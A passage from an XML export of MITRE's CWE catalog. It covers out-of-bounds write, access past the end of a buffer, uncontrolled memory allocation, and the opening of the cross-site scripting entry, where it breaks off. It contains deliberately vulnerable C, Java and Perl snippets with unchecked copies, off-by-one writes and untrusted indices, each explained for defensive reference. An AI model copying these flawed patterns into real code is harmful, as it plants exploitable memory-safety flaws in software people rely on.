							              <Code>}</Code>
						            </Block>
						            <Text>However, this function can cause a buffer underwrite if the input
							character string contains all whitespace. On some systems the while
							statement will move backwards past the beginning of a character string
							and will call the isspace() function on an address outside of the bounds
							of the local buffer.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-90">
					          <Intro_Text>The following example asks a user for an offset into an array to
						select an item.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code/>
							              <Code>int main (int argc, char **argv) {</Code>
							              <Block>
								                <Code>char *items[] = {"boat", "car", "truck", "train"};</Code>
								                <Code>int index = GetUntrustedOffset();</Code>
								                <Code>printf("You selected %s\n", items[index-1]);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer allows the user to specify which element in the list to
							select, however an attacker can provide an out-of-bounds offset,
							resulting in a buffer over-read (CWE-126).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-88">
					          <Intro_Text>The following is an example of code that may result in a buffer
						underwrite, if find() returns a negative value to indicate that ch is not
						found in srcBuf:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int main() {</Code>
							              <Block>
								                <Code>...</Code>
								                <Code>strncpy(destBuf, &amp;srcBuf[find(srcBuf, ch)], 1024);</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If the index to srcBuf is somehow under user control, this is an
							arbitrary write-what-where condition.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2227</Observed_Example_Reference>
					          <Observed_Example_Description>Unchecked length of SSLv2 challenge value leads to
						buffer underflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4580</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer underflow from a small size value with a
						large buffer (length parameter inconsistency,
						CWE-130)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1584</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer underflow from an all-whitespace string,
						which causes a counter to be decremented before the buffer while looking for
						a non-whitespace character.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-0886</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer underflow resultant from encoded data that
						triggers an integer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6171</Observed_Example_Reference>
					          <Observed_Example_Description>Product sets an incorrect buffer size limit,
						leading to "off-by-two" buffer underflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4024</Observed_Example_Reference>
					          <Observed_Example_Description>Negative value is used in a memcpy() operation,
						leading to buffer underflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2620</Observed_Example_Reference>
					          <Observed_Example_Description>Buffer underflow due to mishandled special
						characters</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-10-21</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="787" Name="Out-of-bounds Write" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software writes data past the end, or before the beginning,
					of the intended buffer.</Description_Summary>
				        <Extended_Description>
					          <Text> This typically occurs when the pointer or its index is incremented or
						decremented to a position beyond the bounds of the buffer or when pointer
						arithmetic results in a position outside of the valid memory location to
						name a few. This may result in corruption of sensitive information, a crash,
						or code execution among other things.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code attempts to save four different identification
						numbers into an array.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int id_sequence[3];</Code>
							              <Code/>
							              <Code>/* Populate the id array. */</Code>
							              <Code/>
							              <Code>id_sequence[0] = 123;</Code>
							              <Code>id_sequence[1] = 234;</Code>
							              <Code>id_sequence[2] = 345;</Code>
							              <Code>id_sequence[3] = 456;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-10-21</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="788" Name="Access of Memory Location After End of Buffer" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software reads or writes to a buffer using an index or
					pointer that references a memory location after the end of the buffer. </Description_Summary>
				        <Extended_Description>
					          <Text>This typically occurs when a pointer or its index is decremented to a
						position before the buffer, when pointer arithmetic results in a position
						before the beginning of the valid memory location, or when a negative index
						is used. These problems may be resultant from missing sentinel values
						(CWE-463) or trusting a user-influenced input length variable.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>For an out-of-bounds read, the attacker may have access to sensitive
							information. If the sensitive information contains system details, such
							as the current buffers position in memory, this knowledge can be used to
							craft further attacks, possibly with more severe consequences.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Out of bounds memory access will very likely result in the corruption
							of relevant memory, and perhaps instructions, possibly leading to a
							crash. Other attacks leading to lack of availability are possible,
							including putting the program into an infinite loop.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the memory accessible by the attacker can be effectively
							controlled, it may be possible to execute arbitrary code, as with a
							standard buffer overflow. If the attacker can overwrite a pointer's
							worth of memory (usually 32 or 64 bits), he can redirect a function
							pointer to his own malicious code. Even when the attacker can only
							modify a single byte arbitrary code execution can be possible. Sometimes
							this is because the same problem can be exploited repeatedly to the same
							effect. Other times it is because the attacker can overwrite
							security-critical application-specific data -- such as a flag indicating
							whether the user is an administrator.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-1">
					          <Intro_Text>This example takes an IP address from a user, verifies that it is
						well formed and then looks up the hostname and copies it into a
						buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void host_lookup(char *user_supplied_addr){</Code>
							              <Block>
								                <Code>struct hostent *hp;</Code>
								                <Code>in_addr_t *addr;</Code>
								                <Code>char hostname[64];</Code>
								                <Code>in_addr_t inet_addr(const char *cp);</Code>
								                <Code/>
								                <Comment>/*routine that ensures user_supplied_addr is in the right
									format for conversion */</Comment>
								                <Code>validate_addr_form(user_supplied_addr);</Code>
								                <Code>addr = inet_addr(user_supplied_addr);</Code>
								                <Code>hp = gethostbyaddr( addr, sizeof(struct in_addr),
									AF_INET);</Code>
								                <Code>strcpy(hostname, hp-&gt;h_name);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This function allocates a buffer of 64 bytes to store the hostname,
							however there is no guarantee that the hostname will not be larger than
							64 bytes. If an attacker specifies an address which resolves to a very
							large hostname, then we may overwrite sensitive data or even relinquish
							control flow to the attacker.</Text>
						            <Text>Note that this example also contains an unchecked return value
							(CWE-252) that can lead to a NULL pointer dereference (CWE-476).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-19">
					          <Intro_Text>This example applies an encoding procedure to an input string and
						stores it into a buffer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char * copy_input(char *user_supplied_string){</Code>
							              <Block Block_Nature="Bad_Code">
								                <Code>int i, dst_index;</Code>
								                <Code>char *dst_buf = (char*)malloc(4*sizeof(char) *
									MAX_SIZE);</Code>
								                <Code>if ( MAX_SIZE &lt;= strlen(user_supplied_string) ){</Code>
								                <Block>
									                  <Code>die("user string too long, die evil hacker!");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>dst_index = 0;</Code>
								                <Code>for ( i = 0; i &lt; strlen; i++ ){</Code>
								                <Block>
									                  <Code>if( '&amp;' == user_supplied_string[i] ){</Code>
									                  <Block>
										                    <Code>dst_buf[dst_index++] = '&amp;';</Code>
										                    <Code>dst_buf[dst_index++] = 'a';</Code>
										                    <Code>dst_buf[dst_index++] = 'm';</Code>
										                    <Code>dst_buf[dst_index++] = 'p';</Code>
										                    <Code>dst_buf[dst_index++] = ';';</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else if ('&lt;' == user_supplied_string[i] ){</Code>
									                  <Block>
										                    <Comment>/* encode to &amp;lt; */</Comment>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else dst_buf[dst_index++] =
										user_supplied_string[i];</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return dst_buf;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer attempts to encode the ampersand character in the
							user-controlled string, however the length of the string is validated
							before the encoding procedure is applied. Furthermore, the programmer
							assumes encoding expansion will only expand a given character by a
							factor of 4, while the encoding of the ampersand expands by 5. As a
							result, when the encoding procedure expands the string it is possible to
							overflow the destination buffer if the attacker provides a string of
							many ampersands.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-91">
					          <Intro_Text>In the following C/C++ example the method processMessageFromSocket()
						will get a message from a socket, placed into a buffer, and will parse the
						contents of the buffer into a structure that contains the message length and
						the message body. A for loop is used to copy the message body into a local
						character string which will be passed to another method for
						processing.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int processMessageFromSocket(int socket) {</Code>
							              <Block>
								                <Code>int success;</Code>
								                <Code/>
								                <Code>char buffer[BUFFER_SIZE];</Code>
								                <Code>char message[MESSAGE_SIZE];</Code>
								                <Code/>
								                <Comment>// get message from socket and store into buffer</Comment>
								                <Comment>//Ignoring possibliity that buffer &gt;
									BUFFER_SIZE</Comment>
								                <Code>if (getMessage(socket, buffer, BUFFER_SIZE) &gt; 0) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// place contents of the buffer into message
										structure</Comment>
									                  <Code>ExMessage *msg = recastBuffer(buffer);</Code>
									                  <Code/>
									                  <Comment>// copy message body into string for
										processing</Comment>
									                  <Code>int index; </Code>
									                  <Code>for (index = 0; index &lt; msg-&gt;msgLength; index++)
										{</Code>
									                  <Block>
										                    <Code>message[index] = msg-&gt;msgBody[index];</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>message[index] = '\0';</Code>
									                  <Code/>
									                  <Comment>// process message</Comment>
									                  <Code>success = processMessage(message);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return success;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the message length variable from the structure is used as the
							condition for ending the for loop without validating that the message
							length variable accurately reflects the length of message body. This can
							result in a buffer over read by reading from memory beyond the bounds of
							the buffer if the message length variable indicates a length that is
							longer than the size of a message body (CWE-130).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2550</Observed_Example_Reference>
					          <Observed_Example_Description>Classic stack-based buffer overflow in media
						player using a long entry in a playlist</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2403</Observed_Example_Reference>
					          <Observed_Example_Description>Heap-based buffer overflow in media player using a
						long entry in a playlist</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0689</Observed_Example_Reference>
					          <Observed_Example_Description>large precision value in a format string triggers
						overflow</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0558</Observed_Example_Reference>
					          <Observed_Example_Description>attacker-controlled array index leads to code
						execution</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4113</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel trusts userland-supplied length value,
						allowing reading of sensitive information</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4268</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: integer signedness passes signed
						comparison, leads to heap overflow</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-10-21</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="789" Name="Uncontrolled Memory Allocation" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product allocates memory based on an untrusted size value,
					but it does not validate or incorrectly validates the size, allowing arbitrary
					amounts of memory to be allocated. </Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>770</Relationship_Target_ID>
					          <!--Allocation of Resources Without Limits or Throttling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>476</Relationship_Target_ID>
					          <!--NULL Pointer Dereference-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness can be closely associated with integer overflows (CWE-190).
						Integer overflow attacks would concentrate on providing an extremely large
						number that triggers an overflow that causes less memory to be allocated
						than expected. By providing a large value that does not trigger an integer
						overflow, the attacker could still cause excessive amounts of memory to be
						allocated.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Platform_Notes>
					          <Text>Uncontrolled memory allocation is possible in many languages, such as
						dynamic array allocation in perl or initial size parameters in Collections
						in Java. However, languages like C and C++ where programmers have the power
						to more directly control memory management will be more susceptible. </Text>
				        </Platform_Notes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Not controlling memory allocation can result in a request for too much
							system memory, possibly leading to a crash of the application due to
							out-of-memory conditions, or the consumption of a large amount of memory
							on the system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Perform adequate input validation against any value that influences
							the amount of memory that is allocated. Define an appropriate strategy
							for handling requests that exceed the limit, and consider supporting a
							configuration option so that the administrator can extend the amount of
							memory to be used if necessary. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Run your program using system-provided resource limits for memory.
							This might still cause the program to crash or exit, but the impact to
							the rest of the system will be minimized.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text> Consider the following code, which accepts an untrusted size value
						and allocates a buffer to contain a string of the given size.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code> unsigned int size = GetUntrustedInt();</Code>
							              <Comment>/* ignore integer overflow (CWE-190) for this example
								*/</Comment>
							              <Code>unsigned int totBytes = size * sizeof(char);</Code>
							              <Code>char *string = (char *)malloc(totBytes);</Code>
							              <Code>InitializeString(string);</Code>
						            </Block>
						            <Text>Suppose an attacker provides a size value of:</Text>
						            <Block Block_Nature="Attack">
							              <Text>12345678</Text>
						            </Block>
						            <Text>This will cause 305,419,896 bytes (over 291 megabytes) to be allocated
							for the string.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>Consider the following code, which accepts an untrusted size value
						and uses the size as an initial capacity for a HashMap.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>Java</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code> unsigned int size = GetUntrustedInt();</Code>
							              <Code>HashMap list = new HashMap(size);</Code>
						            </Block>
						            <Text>The HashMap constructor will verify that the initial capacity is not
							negative, however there is no check in place to verify that sufficient
							memory is present. If the attacker provides a large enough value, the
							application will run into an OutOfMemoryError.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code obtains an untrusted number that it used as an
						index into an array of messages. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>my $num = GetUntrustedNumber();</Code>
							              <Code>my @messages = ();</Code>
							              <Code/>
							              <Code>$messages[$num] = "Hello World";</Code>
						            </Block>
						            <Text> The index is not validated at all (CWE-129), so it might be possible
							for an attacker to modify an element in @messages that was not intended.
							If an index is used that is larger than the current size of the array,
							the Perl interpreter automatically expands the array so that the large
							index works.</Text>
						            <Text>If $num is a large value such as 2147483648 (1&lt;&lt;31), then the
							assignment to $messages[$num] would attempt to create a very large
							array, then eventually produce an error message such as:</Text>
						            <Code>Out of memory during array extend</Code>
						            <Text>This memory exhaustion will cause the Perl program to exit, possibly a
							denial of service. In addition, the lack of memory could also prevent
							many other programs from successfully running on the system. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1708</Observed_Example_Reference>
					          <Observed_Example_Description>memory consumption and daemon exit by specifying a
						large value in a length field</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0977</Observed_Example_Reference>
					          <Observed_Example_Description>large value in a length field leads to memory
						consumption and crash when no more memory is
						available</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-3791</Observed_Example_Reference>
					          <Observed_Example_Description>large key size in game program triggers crash when
						a resizing function cannot allocate enough
						memory</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2589</Observed_Example_Reference>
					          <Observed_Example_Description>large Content-Length HTTP header value triggers
						application crash in instant messaging application due to failure in memory
						allocation</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 10, "Resource Limits", Page 574.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>SOAP Array Abuse </Mapped_Node_Name>
					          <Mapped_Node_ID>35</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2009-10-21</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="79" Name="Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')" Weakness_Abstraction="Base" Status="Usable">
			      <Description>
				        <Description_Summary>The software does not neutralize or incorrectly neutralizes
					user-controllable input before it is placed in output that is used as a web page
					that is served to other users.</Description_Summary>
				        <Extended_Description>
					          <Text>Cross-site scripting (XSS) vulnerabilities occur when:</Text>
					          <Block>
						            <Text>1. Untrusted data enters a web application, typically from a web
							request.</Text>
						            <Text>2. The web application dynamically generates a web page that contains
							this untrusted data.</Text>
						            <Text>3. During page generation, the application does not prevent the data
							from containing content that is executable by a web browser, such as
							JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX,
							etc.</Text>
						            <Text>4. A victim visits the generated web page through a web browser, which
							contains malicious script that was injected using the untrusted
							data.</Text>
						            <Text>5. Since the script comes from a web page that was sent by the web
							server, the victim's web browser executes the malicious script in the
							context of the web server's domain.</Text>
						            <Text>6. This effectively violates the intention of the web browser's
							same-origin policy, which states that scripts in one domain should not
							be able to access resources or run code in a different domain.</Text>
					          </Block>
					          <Text>There are three main kinds of XSS:</Text>
					          <Block>
						            <Text_Title>Type 1: Reflected XSS (or Non-Persistent)</Text_Title>
						            <Text>The server reads data directly from the HTTP request and reflects it
							back in the HTTP response. Reflected XSS exploits occur when an attacker
							causes a victim to supply dangerous content to a vulnerable web
							application, which is then reflected back to the victim and executed by
							the web browser. The most common mechanism for delivering malicious
							content is to include it as a parameter in a URL that is posted publicly
							or e-mailed directly to the victim. URLs constructed in this manner
							constitute the core of many phishing schemes, whereby an attacker
							convinces a victim to visit a URL that refers to a vulnerable site.
							After the site reflects the attacker's content back to the victim, the
							content is executed by the victim's browser.</Text>
					          </Block>
					          <Block>
						            <Text_Title>Type 2: Stored XSS (or Persistent)</Text_Title>
						            <Text>The application stores dangerous data in a database, message forum,
							visitor log, or other trusted data store. At a later time, the dangerous
							data is subsequently read back into the application and included in
							dynamic content. From an attacker's perspective, the optimal place to
							inject malicious content is in an area that is displayed to either many
							users or particularly interesting users. Interesting users typically
							have elevated privileges in the application or interact with sensitive
							data that is valuable to the attacker. If one of these users executes
							malicious content, the attacker may be able to perform privileged
							operations on behalf of the user or gain access to sensitive data
							belonging to the user. For example, the attacker might inject XSS into a
							log message, which might not be handled properly when an administrator
							views the logs. </Text>
					          </Block>
					          <Block>
						            <Text_Title>Type 0: DOM-Based XSS</Text_Title>
						            <Text>In DOM-based XSS, the client performs the injection of XSS into the
							page; in the other types, the server performs the injection. DOM-based
							XSS generally involves server-controlled, trusted script that is sent to
							the client, such as Javascript that performs sanity checks on a form
							before the user submits it. If the server-supplied script processes
							user-supplied data and then injects it back into the web page (such as
							with dynamic HTML), then DOM-based XSS is possible.</Text>
					          </Block>
					          <Text>Once the malicious script is injected, the attacker can perform a variety
						of malicious activities. The attacker could transfer private information,
						such as cookies that may include session information, from the victim's
						machine to the attacker. The attacker could send malicious requests to a web
